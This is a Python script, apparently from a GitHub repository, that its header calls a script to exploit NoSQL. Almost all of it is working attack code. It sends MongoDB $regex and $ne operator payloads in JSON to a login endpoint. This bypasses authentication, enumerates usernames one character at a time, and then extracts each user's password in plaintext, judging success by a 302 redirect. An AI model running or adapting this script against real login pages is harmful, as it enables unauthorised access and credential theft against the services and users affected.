-
Notifications
You must be signed in to change notification settings - Fork 0
/
mongoExtract.py
executable file
·73 lines (62 loc) · 2.21 KB
/
mongoExtract.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
'''
Script to exploit nosql
Author: Ambrotd
'''
import requests
#proxies= {'http':'http://127.0.0.1:8080'}
proxies= ''
url='http://YourIP:4000/login'
def brute_user():
users=[]
skip= ['*','+','.','?','|','$','^']
headers = {'Content-type': 'application/json'}
for startChar in range(31,127):
found= False
if chr(startChar) in skip:
continue
data ='{"username":{"$regex":"^%s.*"},"password":{"$ne":1}}' % (chr(startChar))
r = requests.post(url, data=data, headers=headers, proxies=proxies, allow_redirects = False)
if r.status_code != 302:
continue
user=chr(startChar)
while not found:
found= True
for i in range(31,127):
if chr(i) not in skip:
payload= user + chr(i)
data ='{"username":{"$regex":"^%s.*"},"password":{"$ne":1}}' % (payload)
r = requests.post(url, data=data, headers=headers, proxies=proxies, allow_redirects = False)
if r.status_code==302:
user=payload
print(f"[Info] User found => {user}", end='\r',flush=True)
found=False
break
print()
users.append(user)
return users
def brute_pass(user):
skip= ['*','+','.','?','|','$','^']
headers = {'Content-type': 'application/json'}
found=False
passwd=''
while not found:
found= True
for i in range(31,127):
if chr(i) not in skip:
payload= passwd + chr(i)
data ='{"username":"%s","password":{"$regex":"^%s.*"}}' % (user, payload)
r = requests.post(url, data=data, headers=headers, proxies=proxies, allow_redirects = False)
if r.status_code==302:
passwd=payload
print(f"[+]{user}, password => {passwd}", end='\r',flush=True)
found=False
break
print()
def main():
print("Mongo brute forcer")
userlist=brute_user()
print("Extracting passwords")
for user in userlist:
brute_pass(user)
if __name__ == "__main__":
main()